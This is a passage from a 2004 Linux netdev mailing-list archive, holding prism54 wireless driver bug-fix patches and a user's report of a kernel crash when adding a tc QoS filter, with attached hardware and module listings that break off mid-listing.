linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 17 Apr 2004 08= :46:04 -0000 1.152 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 22 Apr 2004 12= :20:39 -0000 1.153 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.152 2004/04/17 0= 8:46:04 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.153 2004/04/22 1= 2:20:39 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * (C) 2003,2004 Aurelien Alleaume @@ -2146,7 +2146,7 @@ {PRISM54_DBG_OID, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "dbg_oid"}, {PRISM54_DBG_GET_OID, 0, IW_PRIV_TYPE_BYTE | 256, "dbg_get_oid"}, - {PRISM54_DBG_SET_OID, IW_PRIV_TYPE_BYTE | 256, 0, "dbg_get_oid"}, + {PRISM54_DBG_SET_OID, IW_PRIV_TYPE_BYTE | 256, 0, "dbg_set_oid"}, /* --- sub-ioctls handlers --- */ {PRISM54_GET_OID, 0, IW_PRIV_TYPE_CHAR | IW_PRIV_SIZE_FIXED | PRIV_STR_SIZE, ""}, Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v retrieving revision 1.76 retrieving revision 1.77 diff -u -r1.76 -r1.77 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 19 Apr 2004 1= 8:33:45 -0000 1.76 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 26 Apr 2004 1= 0:09:58 -0000 1.77 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.76 2004/04/19 1= 8:33:45 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.77 2004/04/26 1= 0:09:58 msw Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Herbert Valerio Riedel @@ -560,6 +560,7 @@ skb =3D NULL; goto out_free; } + skb_reserve(skb, (4 - (long) skb->data) & 0x03); /* add the new allocated sk_buff to the buffer array */ priv->data_low_rx[counter] =3D skb; =20 Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v retrieving revision 1.35 retrieving revision 1.36 diff -u -r1.35 -r1.36 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 20 Mar 2004 1= 6:58:36 -0000 1.35 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 26 Apr 2004 1= 0:09:58 -0000 1.36 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.35 2004/03/20 1= 6:58:36 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.36 2004/04/26 1= 0:09:58 msw Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2004 Aurelien Alleaume @@ -105,7 +105,7 @@ =20 /* check whether the destination queue has enough fragments for the frame= */ curr_frag =3D le32_to_cpu(cb->driver_curr_frag[ISL38XX_CB_TX_DATA_LQ]); - if (curr_frag - priv->free_data_tx >=3D ISL38XX_CB_TX_QSIZE) { + if (unlikely(curr_frag - priv->free_data_tx >=3D ISL38XX_CB_TX_QSIZE)) { printk(KERN_ERR "%s: transmit device queue full when awake\n", ndev->name); netif_stop_queue(ndev); @@ -121,7 +121,7 @@ /* Check alignment and WDS frame formatting. The start of the packet shou= ld * be aligned on a 4-byte boundary. If WDS is enabled add another 6 bytes * and add WDS address information */ - if (((long) skb->data & 0x03) | init_wds) { + if (unlikely(((long) skb->data & 0x03) | init_wds)) { /* get the number of bytes to add and re-allign */ offset =3D (4 - (long) skb->data) & 0x03; offset +=3D init_wds ? 6 : 0; @@ -192,7 +192,7 @@ pci_map_address =3D pci_map_single(priv->pdev, (void *) skb->data, skb->len, PCI_DMA_TODEVICE); - if (pci_map_address =3D=3D 0) { + if (unlikely(pci_map_address =3D=3D 0)) { printk(KERN_WARNING "%s: cannot map buffer to PCI\n", ndev->name); =20 @@ -382,10 +382,10 @@ skb->dev =3D ndev; =20 /* take care of monitor mode and spy monitoring. */ - if (priv->iw_mode =3D=3D IW_MODE_MONITOR) + if (unlikely(priv->iw_mode =3D=3D IW_MODE_MONITOR)) discard =3D islpci_monitor_rx(priv, &skb); else { - if (skb->data[2 * ETH_ALEN] =3D=3D 0) { + if (unlikely(skb->data[2 * ETH_ALEN] =3D=3D 0)) { /* The packet has a rx_annex. Read it for spy monitoring, Then * remove it, while keeping the 2 leading MAC addr. */ @@ -418,7 +418,7 @@ skb->data[0], skb->data[1], skb->data[2], skb->data[3], skb->data[4], skb->data[5]); #endif - if (discard) { + if (unlikely(discard)) { dev_kfree_skb(skb); skb =3D NULL; } else @@ -434,11 +434,13 @@ index - priv->free_data_rx < ISL38XX_CB_RX_QSIZE) { /* allocate an sk_buff for received data frames storage * include any required allignment operations */ - if (skb =3D dev_alloc_skb(MAX_FRAGMENT_SIZE_RX + 2), skb =3D=3D NULL) { + skb =3D dev_alloc_skb(MAX_FRAGMENT_SIZE_RX + 2); + if (unlikely(skb =3D=3D NULL)) { /* error allocating an sk_buff structure elements */ DEBUG(SHOW_ERROR_MESSAGES, "Error allocating skb \n"); break; } + skb_reserve(skb, (4 - (long) skb->data) & 0x03); /* store the new skb structure pointer */ index =3D index % ISL38XX_CB_RX_QSIZE; priv->data_low_rx[index] =3D skb; @@ -454,7 +456,7 @@ pci_map_single(priv->pdev, (void *) skb->data, MAX_FRAGMENT_SIZE_RX + 2, PCI_DMA_FROMDEVICE); - if (priv->pci_map_rx_address[index] =3D=3D (dma_addr_t) NULL) { + if (unlikely(priv->pci_map_rx_address[index] =3D=3D (dma_addr_t) NULL)) { /* error mapping the buffer to device accessable memory address */ DEBUG(SHOW_ERROR_MESSAGES, "Error mapping DMA address\n"); Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.h,v retrieving revision 1.25 retrieving revision 1.26 diff -u -r1.25 -r1.26 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.h 20 Mar 2004 1= 6:58:37 -0000 1.25 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.h 26 Apr 2004 1= 0:09:58 -0000 1.26 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.h,v 1.25 2004/03/20 1= 6:58:37 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.h,v 1.26 2004/04/26 1= 0:09:58 msw Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Luis R. Rodriguez @@ -34,7 +34,7 @@ #define TRACE(devname) K_DEBUG(SHOW_TRACING, VERBOSE, "%s: -> " __FUNCT= ION__ "()\n", devname) =20 extern int pc_debug; -static const int init_wds =3D 0; /* help compiler optimize away dead code = */ +#define init_wds 0 /* help compiler optimize away dead code */ =20 =20 /* General driver definitions */ Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/prismcompat.h,v retrieving revision 1.3 retrieving revision 1.4 diff -u -r1.3 -r1.4 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat.h 19 Apr 2004 = 18:33:45 -0000 1.3 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat.h 26 Apr 2004 = 10:09:58 -0000 1.4 @@ -32,6 +32,7 @@ #include #include #include +#include =20 #if !defined(CONFIG_FW_LOADER) && !defined(CONFIG_FW_LOADER_MODULE) #error Firmware Loading is not configured in the kernel ! Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/prismcompat24.h,v retrieving revision 1.3 retrieving revision 1.5 diff -u -r1.3 -r1.5 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h 19 Apr 200= 4 18:33:45 -0000 1.3 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h 26 Apr 200= 4 10:09:58 -0000 1.5 @@ -26,6 +26,8 @@ #include #include #include +#include +#include =20 #if LINUX_VERSION_CODE < KERNEL_VERSION(2,4,25) #define module_param(x, y, z) MODULE_PARM(x, "i") --R4RAxL8G0iuuxuj8-- --hdMwqcnXK86+cyrC Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbNrat1JN+IKUl4RAnn7AJ9qepm0AumXVIIncA79FLLZQagZbQCgqfMc GrTjPQXLTRO8KbV2Ur1QVfI= =GS0G -----END PGP SIGNATURE----- --hdMwqcnXK86+cyrC-- From mcgrof@studorgs.rutgers.edu Mon May 24 02:13:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 02:15:21 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O9DiKO017920 for ; Mon, 24 May 2004 02:13:45 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 93D5AF9D53; Mon, 24 May 2004 04:32:54 -0400 (EDT) Date: Mon, 24 May 2004 04:32:54 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 6/14 linux-2.6.7-rc1] prism54: Fix prism54.org bugs 74, 75 Message-ID: <20040524083254.GG3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="opU1cLy5W6t5oyvs" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5278 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --opU1cLy5W6t5oyvs Content-Type: multipart/mixed; boundary="T5F8Mpu1Sg8jtYtl" Content-Disposition: inline --T5F8Mpu1Sg8jtYtl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-03-22 Aurelien Alleaume * oid_mgt.c, isl_ioctl.c : Minor bugfixes : #74 and #75. --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --T5F8Mpu1Sg8jtYtl Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="06-fix-bug-74-75.patch" Content-Transfer-Encoding: quoted-printable 2004-03-22 Aurelien Alleaume * oid_mgt.c, isl_ioctl.c : Minor bugfixes : #74 and #75. Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v retrieving revision 1.149 retrieving revision 1.150 diff -u -r1.149 -r1.150 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 20 Mar 2004 16= :58:36 -0000 1.149 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 22 Mar 2004 11= :21:22 -0000 1.150 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.149 2004/03/20 1= 6:58:36 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.150 2004/03/22 1= 1:21:22 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * (C) 2003,2004 Aurelien Alleaume @@ -329,9 +329,9 @@ int rvalue; u32 c; =20 - if (fwrq->m < 1000) + if (fwrq->m < 1000) /* we have a channel number */ - c =3D fwrq->m; + c =3D fwrq->m; else c =3D (fwrq->e =3D=3D 1) ? channel_of_freq(fwrq->m / 100000) : 0; =20 @@ -1893,7 +1893,8 @@ struct net_device *ndev =3D frame->ndev; enum oid_num_t n =3D mgt_oidtonum(frame->header->oid); =20 - prism54_process_trap_helper(netdev_priv(ndev), n, frame->data); + if (n !=3D OID_NUM_LAST) + prism54_process_trap_helper(netdev_priv(ndev), n, frame->data); islpci_mgt_release(frame); } =20 Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/oid_mgt.c,v retrieving revision 1.12 retrieving revision 1.13 diff -u -r1.12 -r1.13 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 20 Mar 2004 16:5= 8:37 -0000 1.12 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 22 Mar 2004 11:2= 1:22 -0000 1.13 @@ -688,13 +688,13 @@ { int i; =20 - for (i =3D 0; i < OID_NUM_LAST - 1; i++) + for (i =3D 0; i < OID_NUM_LAST; i++) if (isl_oid[i].oid =3D=3D oid) return i; =20 printk(KERN_DEBUG "looking for an unknown oid 0x%x", oid); =20 - return 0; + return OID_NUM_LAST; } =20 int --T5F8Mpu1Sg8jtYtl-- --opU1cLy5W6t5oyvs Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbM2at1JN+IKUl4RAk0WAJ9+VNBMyM0t6T5D/BLcop3yWm0NngCgjRcq WP2doe+T86MQPtDxketM0HQ= =9/Wy -----END PGP SIGNATURE----- --opU1cLy5W6t5oyvs-- From jaume.catarineu@upf.edu Mon May 24 02:57:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 02:57:24 -0700 (PDT) Received: from smtp07.retemail.es (smtp07.auna.com [62.81.186.17]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O9vEKO021082 for ; Mon, 24 May 2004 02:57:15 -0700 Received: from salieri.xcasa ([62.57.138.199]) by smtp07.retemail.es (InterMail vM.5.01.05.32 201-253-122-126-132-20030307) with ESMTP id <20040524095708.CKOR7344.smtp07.retemail.es@salieri.xcasa>; Mon, 24 May 2004 11:57:08 +0200 Received: from hafner.xcasa ([192.168.0.20]) by salieri.xcasa with esmtp (Exim 4.10) id 1BSAmy-0001YD-00; Mon, 24 May 2004 10:26:28 +0200 Message-ID: <40B1E325.80408@upf.edu> Date: Mon, 24 May 2004 11:57:25 +0000 From: Jaume Catarineu User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040514 X-Accept-Language: en-us, en MIME-Version: 1.0 To: davem@redhat.com, netdev@oss.sgi.com Subject: Kernel BUG: Qos seg. fault Content-Type: multipart/mixed; boundary="------------080806080609060104090703" X-archive-position: 5279 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jaume.catarineu@upf.edu Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------080806080609060104090703 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi all, I've configured succesfuly different QoS configurations, but there is one that *allways* returns a segmentation fault in the kernel module (or code). This part of the kernel seems to crash when installing an IP filter. I've tried the code in 2 different computers with different hardware and even different kernel version (2.4.25 and 2.6.4) The code is the following: -------START-------- tc qdisc add dev lo root handle 1: tbf rate 250kbit burst 5k limit 5k tc qdisc add dev lo parent 1: handle 20: prio tc qdisc add dev lo parent 20:1 handle 210: sfq perturb 10 tc qdisc add dev lo parent 20:2 handle 220: tbf rate 250kbit burst 5k \ limit 5k tc qdisc add dev lo parent 20:3 handle 230: sfq perturb 10 tc filter add dev $ETH_IPSEC protocol ip parent 1:0 prio 1 handle 2 \ fw flowid 20:3 -------END---------- The line "tc filter..." produces the system crash. Actually, the system is usable, but any command refering the QoS hangs (tc, iptables...). Even the system shutdown is not available because Linux freezes when stopping the network. It seems that is something related to the filter section in the QoS modules. In the files attached are described the technical characteristics of the computers. Thank you for your work. Jaume, --------------080806080609060104090703 Content-Type: text/plain; name="qos-2.4.25.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="qos-2.4.25.txt" processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 8 model name : Pentium III (Coppermine) stepping : 3 cpu MHz : 731.474 cache size : 256 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 2 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 mmx fxsr sse bogomips : 1458.17 Linux version 2.4.25 (root@servidor) (gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #2 Tue Mar 23 19:36:49 CET 2004 =======modules after the seg fault======== sch_sfq 4128 2 (autoclean) sch_prio 3968 1 (autoclean) sch_tbf 4160 2 (autoclean) ipt_MARK 1368 0 (autoclean) iptable_mangle 2776 0 (autoclean) ipt_MASQUERADE 2200 1 (autoclean) iptable_nat 21208 1 (autoclean) [ipt_MASQUERADE] ip_conntrack 29800 0 (autoclean) [ipt_MASQUERADE iptable_nat] 3c59x 29456 2 ipt_REJECT 4344 0 (autoclean) iptable_filter 2412 0 (autoclean) ip_tables 15712 8 [ipt_MARK iptable_mangle ipt_MASQUERADE iptable_nat ipt_REJECT iptable_filter] keybdev 3136 0 (unused) mousedev 5556 0 (unused) input 5760 0 [keybdev mousedev] hid 12408 0 (unused) ========= PCI DEVICES ========= 00:00.0 Host bridge: VIA Technologies, Inc. VT8605 [ProSavage PM133] (rev 81) Subsystem: Asustek Computer, Inc.: Unknown device 802c Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Capabilities: [c0] Power Management version 2 Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- 00:01.0 PCI bridge: VIA Technologies, Inc. VT8605 [PM133 AGP] (prog-if 00 [Normal decode]) Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz+ UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Reset- FastB2B- Capabilities: [80] Power Management version 2 Flags: PMEClk- DSI- D1+ D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- 00:04.0 ISA bridge: VIA Technologies, Inc. VT82C686 [Apollo Super South] (rev 22) Subsystem: Asustek Computer, Inc.: Unknown device 802c Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping+ SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- [disabled] [size=128K] Capabilities: [40] Power Management version 2 Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- 00:0e.1 SCSI storage controller: LSI Logic / Symbios Logic 53c896 (rev 05) Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- [disabled] [size=128K] Capabilities: [40] Power Management version 2 Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- 00:0f.0 Ethernet controller: 3Com Corporation 3c905C-TX/TX-M [Tornado] (rev 74) Subsystem: 3Com Corporation 3C905C-TX Fast Etherlink for PC Management NIC Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- [disabled] [size=128K] Capabilities: [dc] Power Management version 2 Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold+) Status: D0 PME-Enable- DSel=0 DScale=2 PME- 00:10.0 Ethernet controller: 3Com Corporation 3c905C-TX/TX-M [Tornado] (rev 74) Subsystem: 3Com Corporation 3C905C-TX Fast Etherlink for PC Management NIC Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- [disabled] [size=128K] Capabilities: [dc] Power Management version 2 Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold+) Status: D0 PME-Enable- DSel=0 DScale=2 PME- 01:00.0 VGA compatible controller: Intel Corp. i740 (rev 21) (prog-if 00 [VGA]) Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Capabilities: [dc] Power Management version 1 Flags: PMEClk- DSI+ D1+ D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- --------------080806080609060104090703 Content-Type: text/plain; name="qos-2.6.4.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="qos-2.6.4.txt" processor : 0 vendor_id : AuthenticAMD cpu family : 6 model : 6 model name : AMD Athlon(TM) XP 2000+ stepping : 2 cpu MHz : 1666.562 cache size : 256 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 mmx fxsr sse syscall mmxext 3dnowext 3dnow bogomips : 3301.37 =======MODULES AFTER SEG FAULT ============ sch_sfq 5568 2 - Live 0xe1e4e000 sch_prio 5376 1 - Live 0xe1e2c000 sch_tbf 6592 2 - Live 0xe1e29000 vmnet 30608 8 - Live 0xe1e58000 vmmon 48664 0 - Live 0xe1e36000 sg 38752 0 - Live 0xe1e43000 sr_mod 17764 0 - Live 0xe1e30000 lp 12200 0 - Live 0xe1e25000 md5 4160 1 - Live 0xe0ab6000 ipv6 252288 8 - Live 0xe0d7a000 nls_cp437 5632 4 - Live 0xe0ab3000 smbfs 67768 5 - Live 0xe0b02000 snd_seq_oss 34112 0 - Live 0xe0a48000 snd_seq_midi_event 8192 1 snd_seq_oss, Live 0xe0a2b000 snd_seq 56336 4 snd_seq_oss,snd_seq_midi_event, Live 0xe0af3000 snd_pcm_oss 52388 0 - Live 0xe0ae5000 snd_mixer_oss 18688 1 snd_pcm_oss, Live 0xe0aad000 snd_cmipci 33588 1 - Live 0xe0a53000 snd_pcm 99236 2 snd_pcm_oss,snd_cmipci, Live 0xe0acb000 snd_page_alloc 11972 1 snd_pcm, Live 0xe0a27000 snd_opl3_lib 10752 1 snd_cmipci, Live 0xe0a17000 snd_timer 25220 3 snd_seq,snd_pcm,snd_opl3_lib, Live 0xe0a30000 snd_hwdep 9696 1 snd_opl3_lib, Live 0xe0a13000 gameport 4736 1 snd_cmipci, Live 0xe0a10000 snd_mpu401_uart 7808 1 snd_cmipci, Live 0xe0a0d000 snd_rawmidi 25312 1 snd_mpu401_uart, Live 0xe09d7000 snd_seq_device 7880 4 snd_seq_oss,snd_seq,snd_opl3_lib,snd_rawmidi, Live 0xe09d4000 snd 53828 15 snd_seq_oss,snd_seq_midi_event,snd_seq,snd_pcm_oss,snd_mixer_oss,snd_cmipci,snd_pcm,snd_opl3_lib,snd_timer,snd_hwdep,snd_mpu401_uart,snd_rawmidi,snd_seq_device, Live 0xe0a39000 soundcore 9888 1 snd, Live 0xe08f5000 af_packet 22536 2 - Live 0xe09a6000 hid 44608 0 - Live 0xe0a1b000 ide_floppy 17408 0 - Live 0xe09a0000 ide_cd 41156 0 - Live 0xe09c8000 cdrom 38048 2 sr_mod,ide_cd, Live 0xe09bd000 floppy 60628 0 - Live 0xe09fd000 8139too 24384 0 - Live 0xe0999000 mii 5248 1 8139too, Live 0xe08ed000 ohci1394 34180 0 - Live 0xe0949000 ieee1394 319032 1 ohci1394, Live 0xe0a5e000 ext3 117288 1 - Live 0xe09df000 jbd 61272 1 ext3, Live 0xe09ad000 nls_cp850 4800 2 - Live 0xe08d7000 vfat 15680 2 - Live 0xe08da000 fat 48000 1 vfat, Live 0xe098c000 nls_iso8859_1 3968 7 - Live 0xe0802000 ntfs 92108 1 - Live 0xe0953000 nvidia 2074216 12 - Live 0xe0b7e000 via_agp 7680 1 - Live 0xe0829000 agpgart 30952 2 via_agp, Live 0xe08bf000 parport_pc 33088 1 - Live 0xe08e0000 imm 12296 0 - Live 0xe08ba000 scsi_mod 118328 3 sg,sr_mod,imm, Live 0xe08f9000 parport 42440 3 lp,parport_pc,imm, Live 0xe08c8000 usblp 12928 0 - Live 0xe0813000 ehci_hcd 25732 0 - Live 0xe0821000 uhci_hcd 31120 0 - Live 0xe0818000 usbcore 104668 6 hid,usblp,ehci_hcd,uhci_hcd, Live 0xe082c000 rtc 12920 0 - Live 0xe0808000 Linux version 2.6.4 (root@Amadeus) (gcc version 3.3.2 (Mandrake Linux 10.0 3.3.2-6mdk)) #1 Tue Mar 23 01:52:21 GMT 2004 ========== PCI ============== 00:00.0 Host bridge: VIA Technologies, Inc. VT8366/A/7 [Apollo KT266/A/333] Subsystem: Asustek Computer, Inc. A7V333 Mainboard Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz+ UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 00:01.0 PCI bridge: VIA Technologies, Inc. VT8366/A/7 [Apollo KT266/A/333 AGP] (prog-if 00 [Normal decode]) Control: I/O+ Mem+ 